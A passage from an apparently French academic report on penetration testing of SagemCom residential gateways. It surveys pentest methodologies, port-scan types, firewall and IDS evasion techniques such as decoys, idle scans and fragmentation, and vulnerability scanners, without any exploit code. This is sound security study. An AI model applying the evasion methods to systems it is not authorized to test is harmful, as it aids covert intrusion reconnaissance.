 Évaluer l'ampleur de l'activité opérationnelle et les impacts potentiels d’une ou plusieurs
attaques réussies.
 Tester la robustesse du mécanisme de la sécurité mise en place au sein du système.
2.2. Types du « Pentesting »

Les tests de pénétrations peuvent être réalisés de plusieurs façons. Généralement, ils se
différent en fonction du taux d’informations disponibles avant le démarrage des tests. Dans ce cas, on
peut parler des notions de « boite noire » ou « boite blanche » connue sous le nom de Black box
testing et White box testing:
Page 14
 Black box testing : c’est une méthode permettant de réaliser des tests fonctionnels ou non
fonctionnel s ne faisant pas référence aux structures internes du système en question. On
suppose que le système est une sorte de boite noire sur laquelle on va essayer de dégager le
maximum possible d’informations en se basant sur les résultats fournis des tests dans la phase
de collecte d’informations. Ces tests simulent une attaque réalisée à partir de l’extérieur de
l’entreprise.
 White box testing: Contrairement au « Black box testing», le « White box testing» est une
méthode de pentesting permettant de faire des tests sur un système dont on connait le
fonctionnement interne, l’architecture réseaux, l’emplacement des serveurs, les systèmes
d’exploitation utilisés, les langages de programmations des applications, les versions des
logiciels, etc. Les tests réalisés simulent des attaques à partir de l’intérieur en se basant sur
des informations récupérées par le vol de documents, etc.
Les deux méthodes de pentesting « Black & White » sont complémentaires et essentielles au
cours des testes de pénétrations. Les tests des boites blanches sont nécessaires pour déterminer des
failles et des vulnérabilités que les scanneurs des vulnérabilités automatiques ne peuvent pas
déterminer. L’inconvénient du « White Box testing » est que cette méthode est coûteuse en temps car
l'analyse manuelle est lente. De plus, si une erreur existe, il n’est pas aussi facile de déterminer son
exploitation [6].
2.3. Pentesting : Méthodologie et standard

Quand il s'agit de tests de pénétration, il n'y a pas une approche bien précise à suivre. Chaque
réseau diffère des autres, chaque système a ses propres spécifications et chaque entreprise a ses
propres objectifs de sécurité. Dans ce qui suit, nous allons présenter quelques standards et
méthodologies connus dans le monde de la sécurité informatique.
2.3.1. OSSTMM
La méthodologie « Open Source Security Testing Methodology Manual» (OSSTMM),
développée par « OpSec », décrit les démarches à suivre afin de réaliser un audit de sécurité complet
d’un système. [7]
L'OSSTMM est constituée de 5 sections distinctes: l'information et le contrôle de données, la

sensibilisation du personnel à la sécurité, le contrôle de fraudes et de l'ingénierie sociale, les réseaux
d'ordinateurs et les réseaux de télécommunications.
L'OSSTMM se focalise sur le choix des composantes à tester, sur les actions à effectuer avant,
pendant et après un test de sécurité et sur la manière de mesurer les résultats. De nouveaux tests
Page 15
relatifs aux meilleures pratiques internationales, aux lois et à la régularisation sont régulièrement
ajoutés et actualisés.
L’OSSTMM fournit une classification des périmètres à étudier comme suit
Classe sous classe Description

Des tests qui couvrent l'aspect humain de point de vue
Humain
physique et psychologique.
Sécurité physique
Des tests qui nécessitent un effort physique et un
(PHYSSEC)
Physique contact direct avec la cible (accès à la salle des serveurs
par exemple).
Des tests liés à l'aspect sans fil du système qui couvrent
Sécurité du spectre aussi les communications électroniques (ELSEC),
Sans fil
(SPECSEC) signaux (SIGSEC) et les communications non câblés
(EMSEC).
Des tests qui couvrent les aspects liés à toute
Sécurité de la Télécommunication
communication câblée.
communication
Des tests qui couvrent les communications établies
(COMSEC) Réseaux
intra-système via le réseau câblé.
Tableau 2 Classification OSSTMM
2.3.2. OWASP
La méthodologie « Open Web Application Security Project » (OWASP) est une démarche à
suivre ainsi qu’un ensemble de tests et de recommandations pour analyser la sécurité des applications
web. Les tests d’OWASP sont catégorisés comme suit : [8]
 Collecter les informations : Phase de collecte d’informations sur l’application à tester.

 Tester les gestionnaires de configurations : cette phase couvre les gestionnaires de
configurations des bases de données, du site web, l’accès à distance (Telnet, SSH, etc)
 Tester les modules d’authentification: tester l’authentification et la vérification d’identité
lors de l’accès à l’application web.
 Tester les gestionnaires des sessions: tests sur les variables des sessions et cookies.
 Tester les autorisations : Ces tests couvrent les droits d’accès sur les données pour les
différents acteurs de l’application.
 Tester le logique métier: tester la démarche à suivre afin d’effectuer une tâche bien précise.
 Tester la validation des données reçues: ces tests couvrent le contrôle sur les données reçues
de la part des clients avant de les utiliser.
 Tester les attaques de type déni de service (DoS): tester la robustesse de l’application face à
des attaques de type DoS.
 Tester les web services: tester les web services utilisés par l’application afin d’étudier les
risques possibles à partir d’eux.
 Tester ajax: tester les fonctionnalités d’AJAX et les attaques qui peuvent les menacer.
Page 16
2.3.3. Autres standards et méthodologies:

« Penetration Testing Execution Standard » (PTES) fournit un ensemble de règles et de
recommandations afin d’établir des tests de pénétrations fiables et efficaces. PTES est structurée en
sept sections principales [9]:
 Pré-engagement : Cette phase présente principalement les discussions entre le testeur et le

client afin d’éclaircir les buts des tests à effectuer et de lui donner une idée sur les grandes
lignes des tests de pénétrations.
 Collecte d’information : Cette phase consiste à collecter les informations sur le système. Ces
informations incluent le comportement de système, les services, l’emplacement des machines,
le système de sécurité, etc.
 Modélisation des menaces : Dans cette étape on utilise les informations collectées afin de
déterminer les risques et les vulnérabilités qui menacent le système. On détermine aussi les
méthodes d’attaque les plus efficaces et les informations qu’on peut les récupérer suite à ces
attaques. Il faut toujours déterminer des méthodes plus récentes et les failles « zero day2 ».
Pour récapituler, il faut penser comme un hacker.
 Analyse des Vulnérabilités : Il faut déterminer la façon avec laquelle on peut accéder à la
cible. Afin de mieux remplir cette tâche, il faut combiner les informations acquises et les
attaques possibles.
 Exploitation : C’est la phase la plus critique car il s’agit de l’exploitation des failles et les
vulnérabilités du système. Tous d’abord, il fait que le contrat signé entre le pentester et
l’entreprise gère les cas où un ou plusieurs tests provoque la mise hors service le système, total
ou partielle, pour éviter tous risque de poursuite judiciaire. Aussi, le pentester doit éviter les
exploits qui provoquent l’arrêt total ou quasi-total du système.
 Post Exploitation : Cette étape consiste à revérifier les systèmes des communications avec
d’autres systèmes ou infrastructures.
 Rapports : Le rapport des tests comporte :
o Qu’est ce qu’on a fait dans les tests.
o Comment on a fait ces tests.
o Comment on peut corriger les erreurs.
Conclusion
Au cours de ce chapitre, nous avons abordé les deux grands axes médiateurs de notre projet:
les terminaux résidentiels et les tests de pénétrations. Ainsi nous avons commencé par la présentation
2
Faille « Zero Day » :c’est une faille non reconnus des applications ou des services sur un système bien défini.
Page 17
des TRs, en particulier les TRs SagemCom, leurs fonctionnalités et les services qu’ils offrent. Ensuite
nous avons introduit le « Pentesting » et son importance dans le monde des TR.
Le troisième chapitre va joindre les deux axes et essayer de répondre à la question qui consiste
à mettre en œuvre le pentesting dans le cas d’une passerelle résidentielle. Ainsi nous allons détailler
chaque module offert par la passerelle : son fonctionnement et les différentes failles, vulnérabilités et
attaques possibles.
Page 18
Chapitre 3 Etude de vulnérabilités des Terminaux Résidentiels
Les TRs SagemCom offrent plusieurs services et fonctionnalités qui peuvent être classifiés en
modules que nous allons aborder dans ce chapitre, en mettant l’accent sur les vulnérabilités, les failles
et les attaques possibles ainsi que les outils nécessaires pour le déroulement d’un plan de test de
sécurité.
Nous pouvons d’ores et déjà classifier ces services ou modules comme suit :
 Module réseau : cette section couvrira les risques liés aux services réseaux offerts par les TRs,
notamment dus au :
o Scan de ports, services et détections des OS.
o Scan des vulnérabilités réseaux et GUI.
o Attaques possibles sur les interfaces d’administration à distance et exploitation.
 Module WIFI : dans cette section nous dégageons les différentes attaques et failles liées à la
connectivité sans fils et qui présentent un risque potentiel pour les TRs.
 Module UPnP : dans cette section, nous introduisons le fonctionnement et l’implémentation de
l’UPnP dans les TRs SagemCom et les risques que présente cette technologie.
Page 19
 Module VoIP : cette section sera consacrée aux risques et aux vulnérabilités liées à
l’implémentation de la téléphonie sur IP.
Tous les modules décrits ci-dessus seront accompagnés par une étude sur les différents outils
nécessaires pour tester leur sécurité. Ce chapitre sera finalement conclu par une étude comparative des
outils testés.
1. Module réseau
Cette partie va prendre la plus grande part de notre étude car elle comporte plusieurs axes à
traiter et elle représente le point d’entrée pour les autres modules. D’abord, nous abordons la phase de
collecte d’information, en mettant l’accent sur la partie du scan des ports, détections des services
tournant sur le TR ainsi que son OS. En second lieu, nous entamons le scan des vulnérabilités. Cette
partie va être devisée en deux sous parties : une consacrée aux scans automatiques des failles et des
vulnérabilités et l’autre consacrée aux scans manuels, soit avec des outils spécifiques ou avec des
exploits. Les recherches et les études réalisées dans cette partie se basent essentiellement sur les
résultats dégagés de la première partie, collecte d’information. Finalement, nous exposons les
différentes possibilités d’exploitations de ces failles et les outils correspondants.
1.1. Ports, services et OS

La première phase à aborder dans les tests de pénétration est la collecte d’informations. Cette
étape est très large dans le cas standard où les tests d’intrusion vont être appliqués sur un système
informatique complet (une architecture réseau, des serveurs, des routeurs, des commutateurs, des
zones DMZ, etc.). La collecte d’informations dans ce cas peut couvrir plusieurs vecteurs, allant de la
collecte d’informations publiques sur internet ou par des simples commandes comme « whois »,
passant par le « Google hack » jusqu'à le scan des ports et des services.
Dans notre cas les tests de pénétration vont être réalisés sur un seul dispositif, le terminal
résidentiel, donc plusieurs étapes et méthodes ne sont pas applicables. Le « Google hack » et la
commande « whois » ne fournissent aucune information utile puisque le TR est dédié à l’utilisation
domestique. La partie la plus importante est alors le scan des ports et des services.
L’importance de cette partie se concrétise dans le fait que les informations récupérées
présentent une base solide qu’un attaquant peut utiliser pour orienter ces attaques et éviter les tests
inutiles.
Page 20
1.1.1. Scan des ports

Le scan de port est une étape indispensable dans le pentesting. Son apport se présente dans le
fait qu’il fournit une description détaillée sur l’état des ports de la machine cible. Ce pseudo-rapport
nous donne une idée sur l’utilisation du port, affecté à un service bien défini ou une configuration
personnalisée par le système. Le scan de port est utilisé souvent par les pirates informatiques pour
tenter de trouver des vulnérabilités et des failles possibles sur la machine en question. On peut le
considérer comme tentative d’intrusion car il sert souvent à préparer des attaques possibles. Ce scan
nécessite des privilèges élevés pour pouvoir manipuler et créer des paquets de tests puisqu’il y a
plusieurs techniques possibles qui requièrent des modifications précises sur les différents champs des
paquets.
1.1.1.1. Types de scans des ports

Actuellement il existe plusieurs types de scan qui permettent de découvrir les ports et services
tournant sur ou derrière un équipement connecté au réseau internet. Etant donné que, dans la pile
TCP/IP, les deux protocoles les plus sollicités sont le TCP et l’UDP, nous allons donc nous intéresser
à ces deux familles de scan [10].
UDP Scan
Malgré que la plupart des services utilisent le protocole TCP dans leurs communications,
l’UDP est utilisé par plusieurs services importants comme le DNS, le SNMP ou le DHCP. Ce type de
scan consiste à envoyer un paquet UDP sans données (en-tête seulement) et l’état du port se base sur le
type du paquet reçu par la cible. Le scan UDP est généralement plus lent que le scan TCP.
TCP Scan
Connu aussi sous le nom de « TCP Connect », ce type est le plus simple des scans, il consiste
à établir une connexion avec la cible sur le port en question et à la fermer immédiatement. L’avantage
de ce type de scan est qu’il ne nécessite pas de privilèges spéciaux pour l’effectuer et utilise des
fonctions système (connect( ) sous Unix). En contre partie, l’inconvénient majeur de ce scan qui le
rend pratiquement inutilisable au moins depuis quelques années, c’est qu’il est bruyant et peut
facilement être détecté et l’adresse IP de l’attaquant va être logué par les systèmes de détections
d’intrusion.
Page 21
Figure 6 TCP Scan (sur un port ouvert)
SYN Scan
Ce type de scan est connu aussi sous le nom de « half-open scanning » car il n’établit jamais
une connexion TCP complète. C’est un autre type du TCP Scan où le scanneur de port dans ce cas
génère des paquets IP avec le fanion SYN activé. Si le port cible est ouvert alors il va répondre par un
paquet SYN-ACK et le scanneur à son tour envoie un paquet RST pour fermer la connexion avant que
le « handshake » soit achevé. Il peut être exécuté rapidement et scanner des milliers de ports par
seconde sur un réseau rapide et il est relativement discret et furtif.
Figure 7 SYN Scan (sur un port ouvert)
ACK Scan
Le but de ce scan n’est pas la détection de l’état du port (ouvert ou fermé) mais plutôt s’il est
filtré ou pas. Ceci est efficace pour tester l’existence d’un firewall ou de règles de sécurité. Le Le but
de ce scan n’est pas la détection de l’état du port (ouvert ou fermé) mais plutôt s’il est filtré ou pas.
Ceci est efficace pour tester l’existence d’un firewall ou de règles de sécurité. Le scanneur de port
dans ce cas envoie des paquets TCP avec le fanion ACK à 1.
Autres types de scan

Il y a des types de scan qui peuvent furtivement traverser certains pare-feux ou routeurs (State-
less). La plupart des IDS de nos jours sont configurés pour détecter ce type de scan. Ci-dessous, on
décrit le Fin Scan, TCP NULL Scan et X-mas Scan.
Page 22
 Fin Scan n’active que le drapeau FIN utilisé si le scan SYN est détecté par le firewall.
Figure 8 Fin Scan (sur un port ouvert)
 X-mas Scan active les trois drapeaux FIN, PSH et URG . La technique X-mas a été nommé en
souvenir de l’attaque de Kevin Mitnick sur le serveur de Tsutomu Shimomura le jour du noël
1994.3
Figure 9 XMAS Scan (sur un port ouvert)
 TCP NULL Scan n’active aucun drapeau de l’entête (entête TCP vaut 0).
Figure 10 TCP Null Scan (sur un port ouvert)
1.1.1.2. Technique d’évasion

Les systèmes de sécurité actuels sont très sophistiqués et intelligents. Ils peuvent détecter
même le scan de port car ils le considèrent comme attaque [11].
 FTP bounce : Cette technique consiste à utiliser un serveur FTP pour scanner un hôte distant
par rebond.
3
Le jour de noël 1994, Mitnick s'attaque à un expert en sécurité informatique et ancien hacker : le japonais
Tsutomu Shimomura.
Page 23
 TCP decoy : Cette technique consiste à leurrer l'hôte scanné, en dissimulant le scan parmi des
scans fictifs d'hôtes.
 Idle scan : Dans l'établissement standard d'une connexion (SYN – SYN/ACK – ACK), les
paquets transmis sont accompagnés d'un numéro d'identification appelé IPID. Ce dernier est
incrémenté régulièrement sur certains systèmes (en particulier Windows). La technique
consiste à exploiter cette faille afin de déterminer, en fonction de l'incrémentation de l'IPID,
l'état d'un port. La spécificité de cette attaque réside dans le fait que l'attaquant utilise un hôte
zombie afin de ne pas apparaître dans les fichiers journaux de l'hôte scanné.
 Utilisation de ports source autorisés : afin d'augmenter les chances de légitimer le trafic
généré par les scans, il est possible de forger les paquets en spécifiant des ports source
légitimes pour le firewall (20/tcp, 21/tcp pour FTP, 80/tcp pour HTTP, etc.). Ainsi, le firewall
est susceptible de laisser passer le trafic dans la mesure où il pourra le considérer comme un
retour de connexion légitime. De la même manière, pour les scans UDP, un trafic en
provenance du port 53/udp pourra être interprété par le firewall comme une réponse DNS.
Figure 11 Utiliser un port source autorisé pendant le scan
 Fréquence d'envoi des paquets : il est possible de rendre un scan plus furtif en espaçant
l'envoi des paquets à destination de la machine scannée.
 Fragmentation des paquets : Les détecteurs d'intrusions modernes comme Snort sont
capables, par réassemblage des paquets, de détecter le scan. Il existe par ailleurs des outils
spécifiques (tels que FragRouter) permettant de fragmenter tout ce qui sort d'un réseau.
 Scan ACK : certains firewalls interdisent les paquets qui n'ont pas le flag ACK actif afin de
limiter les tentatives d'intrusion.
Figure 12 Scan ACK
Page 24
1.1.1.3. Analyse des résultats

Chaque type de scan utilise des types bien spécifiques de paquets et par conséquence les
réponses diffèrent aussi. Le scanneur de ports analyse les réponses et détermine l’état des ports en
fonction des types de paquets reçus. Ci-dessous un tableau explicatif qui décrit chaque résultat en
fonction des paquets envoyés.
Type de scan Réponse reçue Etat du port

paquet SYN/ACK ouvert
paquet RST fermé
SYN Scan
ICMP (type3 code 1, 2, 3, 9,10 ou 13)
filtré
aucune réponse
"3 handshake" établi ouvert
TCP Scan
"3 handshake" non établi fermé
ICMP (type3 code 1, 2, 9,10 ou 13) filtré
UDP Scan ICMP (type 3, code 3) fermé
Paquet UDP ouvert
ICMP (type3 code 1, 2, 3, 9,10 ou 13) filtré
ACK Scan
paquet RST non filtré
X- paquet RST fermé
MAS/FIN/TCP ICMP (type3 code 1, 2, 3, 9,10 ou 13) filtré
NULL Scan aucune réponse ouvert/filtré
Tableau 3 Etat du port par type du scan et réponse
Le problème qui se pose maintenant, est que tous les systèmes ne respectent pas la RFC 7934 à la
lettre. Plusieurs systèmes renvoient des RST en réponse aux paquets reçus et ce quelque soit l'état du
port de destination, qu'il soit ouvert ou pas [12].
1.1.2. Scan des services

Le scan de services suit le scan de port et son importance se présente dans le fait qu’il sert à
détecter en premier lieu les noms des services tournant sur la machine cible et au-delà, il aide à
dégager beaucoup d’informations comme la version et le nom d’application (ISC Bind, Appache
httpd, Solaris telnetd, OpenRG telnetd, …). Ces informations seront très utiles pour le pentester, ainsi
que le hacker, pour déterminer si le système testé implémente des services vulnérables ou des versions
connues par leurs vulnérabilités et failles exploitables [13].
Le scan de services est basé sur le résultat de scan de port. Selon le numéro du port ouvert
détecté le scanneur traite et analyse les résultats.
 Si le port détecté ouvert est un port standard, comme les ports 25/tcp, 80/tcp et 53/udp, le
scanneur n’aura pas besoin de lancer d’autre requête sur le même port pour déterminer le nom
4
RFC 793 : Spécification du protocole TCP, mise en place par DARP (Defense Advanced Research Projects
Agency)
Page 25
des services, il utilise une base de données pour faire la correspondance. La plupart des
scanneurs ne se limitent pas à cette étape mais ils essayent de déterminer le type de service
(ex : jboss, tomcat, …). Cela est possibles en analysant les réponses reçues (ex : si le port 80
est ouvert donc il s’agit d’un serveur web (HTTP), ensuite le scanneur envoie une requête
« GET / » pour collecter plus d’information).
 Dans l’autre cas, où le port n’est pas standard (ex : 9003), le scanneur lance une série de test
pour déterminer les types de protocoles utilisés (ex.: ftp, ssh, telnet, http). Une fois le
protocole est fixé, le scanneur lance d’autres requêtes afin de connaître le nom de l'application
(ex: ISC Bind, Appache httpd, Solaris telnetd), le numéro de version, etc.
1.1.3. Détection d’OS

L’utilité de la détection d’OS, ou « OS fingerprinting », est assez évidente, car il existe
plusieurs failles de sécurité qui dépendent principalement du type de l’OS et sa version. Chaque faille
peut être exploités différemment d’un OS à un autre et généralement les exploits visent quelques
fichiers système et manipulent des comportements particuliers pour chaque OS. [14]
Parmi les techniques connues dans la détection de l’OS, nous citons la technique « TCP/IP
Fingerprinting ». Cette méthode consiste à envoyer jusqu'à 16 paquets TCP, UDP et ICMP aux ports
ouverts de la cible. Chaque paquet est envoyé au moins une fois si le port est fermé. Le scanneur
manipule tous les champs du paquet et les envoie dans un ordre spécial. Les résultats reçus
contiennent plusieurs attributs qui seront soigneusement analysés et traités, et en combinant plusieurs
résultats des différents types de paquets, le scanneur génère le fingerprint de ‘lOS.
Il arrive parfois que le scanneur ne parvient pas à collecter les informations nécessaires pour
déterminer l’OS de la cible à cause du manque de ports ouverts ou la mauvaise mise en place du
standard du protocole RFCs. Dans ce cas, certain scanneur génèrent une liste des OS possibles avec un
pourcentage d’approximation.
1.1.4. Outils de scan des ports

Il existe plusieurs outils de scan sur le marché. Il existe le libre, le gratuit, le payant, etc.
Chacun d’eux a ces propres spécifications et fonctionnalités. Dans notre cas, qui est un peu spécial, les
scans seront effectués sur un TR qui va surement provoquer des erreurs et des faux positifs pendant le
scan.
Critère de choix
Dans notre étude de comparaison entre les différentes solutions de scan, nous jouons sur les
critères de choix suivants:
Page 26
 Réalisation des tous les types des scans listés ci-dessus.

 Réalisation des scans de services.
 Réalisation de la détection de l’OS.
 License
 Utilisations
Outils proposés
 Nmap : C’est l’outil le plus connu comme scanneur de ports muni d’une base de données
énorme contenant plus que de 2700 signature d’OS et 7300 versions de services. Il présente un
outil très efficace pour le scan des ports. Il offre la possibilité d’utiliser et de créer des scripts
personnalisés.
 Unicornscan : C’est un scanneur de port connu. Iil assure aussi le scan des services mais il se
limite au nom du protocole sans donner des informations supplémentaires sur les services
détectés.
 Scanrand : C’est un scanneur du port simple sans détection d’OS ou des services.
 Hping3 : C’est un forgeur de paquet conçu principalement pour les tests de sécurité des
firewalls et des systèmes. Il peut être utilisé comme un scanneur de port car il offre la
possibilité de manipuler les champs d’un paquet à envoyer (TCP/UDP/IP/ICMP). Son
utilisation est dédiée pour les utilisateurs avancés.
Type des scans

type
XMAS/FIN de utilisation plateforme
SYN TCP UDP ACK Scan des Détectio License
/ TCP
Scan Scan Scan Scan services n de l'OS
NULL Scan
NMAP X X X X X X X gratuit Simple Linux/Windows
Unicornscan X X X X X X gratuit Simple Linux
Scanrand X X X X X gratuit Moyen Linux
hping3 X X X X X gratuit Difficile Linux/Windows
Tableau 4 Tableau comparatif des outils de scan
1.2. Scan des vulnérabilités

Le scan de vulnérabilité est une étape indispensable dans les tests de pénétration. En se basant
sur les résultats des scans réalisés dans l’étape précédente, ports ouverts, nom du service, version, type
de l’OS et sa version, etc, le pentester doit dégager les risques et les failles qui peuvent présenter un
danger pour le système testé. Des bases de données énormes des vulnérabilités sont mises à disposition
des testeurs où chaque faille est décrite en détail avec la date de publication, la description détaillé, la
plateforme utilisée, la solution envisageable, l’exploit s’il existe et les références de la faille sur les
autres sites de vulnérabilités. Parmi ces sites nous trouvons :
Page 27
 OSVDB : Open Source Vulnerability Data Base est une base de données de vulnérabilités
developpée et mise en place par et pour la communité. Son but est la mise en place d’une
plateforme solide, riche en information et extensible pour toute information liée à la sécurité
informatique (vulnérabilité et faille).
 NVD de NIST : National Vulnerability Database, elle est mise en place et maintenue par la
National Institue of Standards and Technology.
 CVE : Common Vulnerability and Exposures, elle est mise en place et maintenue par MITRE
organisation sans but lucratif qui s’intéresse au intérêt publique.
 US-CERT Vulnerability Notes Database : c’est une base de données d’informations liées
aux vulnérabilités créé par le US-CERT (United State - Community Emergency Response
Teams)
1.2.1. Types de scan des vulnérabilités

Si le testeur ne veut pas utiliser les sites cités auparavant ou il n’arrive pas à trouver des
vulnérabilités connues sur le système testé comme pour notre cas terminal résidentiel avec un système
bien spécifique alors il existe plusieurs autres techniques et méthodes à utiliser qu’on peut classifier
sous deux procédures génériques:
 Evaluation manuelle des vulnérabilités : Dans ce cas le pentester a recourt à développer ses
propres cas de test et exploitations. Le cas le plus courant est celui des applications web car
chaque application web est personnalisée selon les besoins des utilisateurs et la technologie
utilisée.
 Evaluation automatique des vulnérabilités : Dans ce cas le pentester utilise des scanneurs
de vulnérabilités automatiques. Cette méthode est très avantageuse par rapport à la première
méthode notamment car elle nous fait gagner énormément de temps. Les scanneurs
automatiques de vulnérabilités couvrent toutes les failles connues (selon la version de
scanneur, la mise à jour, etc.).
Dans notre cas, les technologies utilisées dans la conception et la mise en place des services et
des applications implémentées dans le TR sont, plus ou moins, spécifiques aux besoins des TRs
SagemCom. Il est clair que nous allons rencontrer certains problèmes avec les scanneurs des
vulnérabilités car ils sont principalement dédiés pour des systèmes qui utilisent des technologies
largement utilisés et déployés.
Les scans manuels sont donc une étape à ne pas négliger, comme il est indique ci-dessus les
outils de scan peuvent générer des faux positifs ou carrément ne pas trouver de failles, et ceci car le
système testé est un peu particulier ou utilise des technologies non connues, voir propriétaires.
Page 28
1.2.2. Outils de scan des vulnérabilités

Dans cette section, on va présenter les différents types des scanneurs de vulnérabilités ainsi
que leur fonctionnement. Généralement ces outils peuvent être classés sous deux catégories.
 Scanneur de vulnérabilités générales qui couvre plusieurs axes : vulnérabilité réseaux,

vulnérabilité liés au système d’exploitation, vulnérabilité liés aux services, etc.
 Scanneurs de vulnérabilité pour un type bien spécifique de services ou d’applications. Sous
cette catégorie on trouve principalement les scanneurs des vulnérabilités des applications
WEB et en second lieu ceux des bases de données.
Dans le cas des TRs SagemCom, on a besoins que des scanneurs de vulnérabilités générales et ceux
des applications WEB.
1.2.2.1. Scanneur de vulnérabilités automatique

Il existe plusieurs solutions système sous cette catégorie, on va s’intéresser à Nessus, Nexpose,
OpenVAS, GFI Lan GUARD et QualysGuard :
 Nessus : Scanneur de vulnérabilités proposé par « Teenable », conçu pour être utilisé sur
plusieurs plateforme, il peut être installé sur un serveur à part et y accéder à partir de
n’importe quelle machine sur le réseau. Il existe deux versions version payante et
communautaire, la différence se concrétise dans les fonctionnalités et les services du support
technique. Il se base sur les « Policies ». Ces derniers se composent de plusieurs options de
configurations relatives au type de scan à réaliser tel que le type de scan de ports, les plugins à
utiliser, les paramètres d’authentification pour les bases de données, site web, etc. Par défaut,
Nessus offre quatre « Policies » :
o External Network Scan : Scan sur des machines à l’extérieur du LAN qui présentent
généralement moins de services pour les réseaux.
o Internal Network Scan : Scan sur des machines du LAN, ce scan est plus large que le
premier car il couvre plus de services.
o Web App Tests : Scan sur les failles et vulnérabilités Web.
o Prepare for DCI PSS audits : aide à se préparer pour un audit PCI DSS.5
 Nexpose : outil proposé par « Rapid7 », qui, comme « Nessus », offre deux versions, payantes
et communautaire, cette dernière est très limitée de point de vue fonctionnalités. Nexpose
nécessite un PC performant avec une configuration minimale présentant les caractéristiques
suivantes :
o 2 GHz processeur.
5
The Payment Card Industry Data Security Standard (PCI DSS) est une norme de protection des données pour
les organismes qui traitent la sécurité des informations de titulaire de carte pour le débit, le crédit, payé d'avance,
l'e-bourse, etc [33].
Page 29
o 2 GB (32 bits), 4 GB RAM (64 bits).

o 10 GB + d’espace vide sur le disque.
o 100 Mbps pour la carte réseau.
 OpenVas : OpenVAS « Open Vulnerability Assesement System » représente un système

d'évaluation de vulnérabilité open source et rassemble une gamme d’outils complète pour
scanner la sécurité du réseau. Le noyau « OpenVAS » est un composant de serveur qui assure
un ensemble de vulnérabilités « Network Vulnerability Tests » (NVTs) pour détecter les
problèmes de sécurité dans les systèmes distants et les applications.
 GFI Lan GUARD : outil payant de « GFI », pour les systèmes Windows, il est connu pour sa
simplicité d’utilisation.
 Qualys Guard: solution payante de « Qualys », sa particularité est quelle offre ses services
scan via le « Cloud Computing 6» sous forme de « SaaS 7». L’avantage majeur de cette
solution est quelle ne nécessite aucune installation et par conséquence l’administrateur ou le
responsable de la sécurité se concentre seulement sur les tests des pénétrations sans prendre en
compte la configuration et la mise en place dans le réseau local. Tous les traitements se font
chez les serveurs du fournisseur de services.
Ci dessous un tableau comparatif entre les outils décrits auparavant, en se basant sur les critères de
choix suivants:
 Temps d’exécution.
 License.
 Plateforme.
 Extensibilité.
 Utilisation.
6
Cloud Computing : un concept qui consiste à déporter sur des serveurs distants des traitements
informatiques traditionnellement localisés sur des serveurs locaux ou sur le poste client de l'utilisateur.
7
SaaS : Software as a Service, le client utilise des applications offertes par le fournisseur du système Cloud,
certaine application peuvent être personnalisée par le client, on trouve par exemple Gmail, Google Documents,
Google Maps…
Page 30
Temps d'exécution type de License plateforme Extensibilité* Utilisation**
proportionnellement
Nessus *** payant/communité Windows/linux Oui difficile
aux tests
****
Nexpose 5 minutes payant/communité Windows/linux Non moyen
proportionnellement
OpenVas *** gratuit linux Oui difficile
aux tests
GFI proportionnellement
payant Windows Non facile
LanGUARD aux tests ***
plus ou moins long
QualysGuard payant tous (SaaS) Non difficile
(scan à distance)
*
: quelques outils listés peuvent être extensibles par l’intégration d’autre outils ou l’utilisation de plugins.
**
: l’utilisation est jugée de point de vue configuration et mise en place.
***
: les temps de scan peuvent varier de quelques minutes jusqu’à quelque heures selon la configuration utilisée.
****
: les scans proposés par la version communautaire du « Nexpose » ne dépassent pas les 5 minutes, ceci est dû à la
limitation des fonctionnalités et des types de tests.
Tableau 5 Tableau comparatif des scanneurs des vulnérabilités automatiques
1.2.2.2. Scanneur de vulnérabilités WEB

Vu que la plupart des services et applications convergent vers la technologie web, pour les
avantages qu’elle offre en termes de cout et de performance. Cette migration, malgré ses avantages,
portes aussi des inconvénients qui ont fait que le nombre de failles et de vulnérabilités à fortement
augmenté. Pour y remédier et du moins les détecter, il existe une gamme d’outils spécialisés dans les
scans des vulnérabilités web. Dans le cas des TRs SagemCom, les utilisateurs peuvent l’administrer à
travers son interface web (ou GUI). Les TRs vu leurs limitations de point vu ressources (RAM, CPU,
espace,…) ne peuvent pas implémenter des technologies web connue pour les grands serveurs, ou à la
limite les utiliser dans quelques fonctionnalités. La plus part des outils disponibles sur le marché, sont
dédiés pour des applications web utilisant des technologies connue (PHP, ASP, JSP,…) ou des CMS
(JOOMLA, DRUPAL, WordPress,…), ceci est explicable car ils sont souvent utilisés. [15]
Les critères de choix d’un scanneur de vulnérabilités sont nombreux, une étude comparatif à
été effectué par l’université de Californie sur des différents scanneurs afin de dégager les meilleurs.
Tableau 6 Liste des outils et leur type de licence
Page 31
Ci-dessous un graphe qui présente le pourcentage des faux négatifs par rapport au résultat corrects
selon le type de configuration; certains outils sont paramétrables et d’autre non.
Figure 13 Evaluation des resultats
Le temps d’exécution de scan est un critère très important de comparaison. Certains outils contiennent
beaucoup plus que des fonctionnalités et des tests qui vont influencer par suite la durée d’exécutions.
Figure 14 Temps d'exécutions du scan
Les tests réalisés sur les TRs SagemCom, pour le scan des vulnérabilités web, ont prouvé que
pour un système bien particulier, comme dans notre cas, on ne peut pas se limiter à l’utilisation d’un
seul outil car chacun d’eux peut dégager des informations utiles que les autres ne trouvent forcément
pas. Une autre remarque est que quelques outils classés parmi les meilleurs n’arrivent même pas à
générer des résultats logiques et raisonnables sans parler de liens inexistant. Ces trois outils sont les
plus appropriés pour notre cas, Nikto, SkipFish et un proxy web (ZAP de OWASP). ZAP est un proxy
web qui sert à intercepter les requêtes http et peut faire des modifications sur leurs paramètres. Dans le
cas d’authentification dans un site web, il est indispensable d’utiliser un proxy pour tester tous le
contenu du site.
Page 32
1.3. Exploits et autres types d’attaques
1.3.1. Exploits
C’est la dernière étape de la partie réseaux. Après toutes les étapes réalisées : scan des ports et
services, détection de l’OS et scan des vulnérabilités, il faut bien les mettre en valeur et les utiliser afin
de vérifier qu’ils s’agissent de vraie failles et défaillances ou juste des alertes de type faux négatifs. Il
existe plusieurs méthodes possibles pour vérifier ce point et rédiger un rapport solide et complet qui
contient une description réelle des vulnérabilités.
Le testeur dans cette étape a le choix entre utiliser des exploits publics disponibles sur les sites
des exploits ou rédiger ces propres exploits ou encore utiliser un outil de pénétrations comme le
fameux « MetaSploit ». Les sites des exploits :
 Security Focus : Chaque vulnérabilité et accompagnée par les différents exploits possibles.
 Exploit database : archive des exploits des applications et des systèmes. Ces derniers sont
classés sous plusieurs catégories.
La distribution « BackTrack 5 » offre un outil de recherche dans la base de données d’exploits.

Un petit script développer permet de faire la mise à jour des exploits. (Voir annexe 2)
Metasploit était un projet open-source sur la sécurité informatique qui fournit des
informations sur des vulnérabilités, aide à la pénétration de systèmes informatisés et au développement
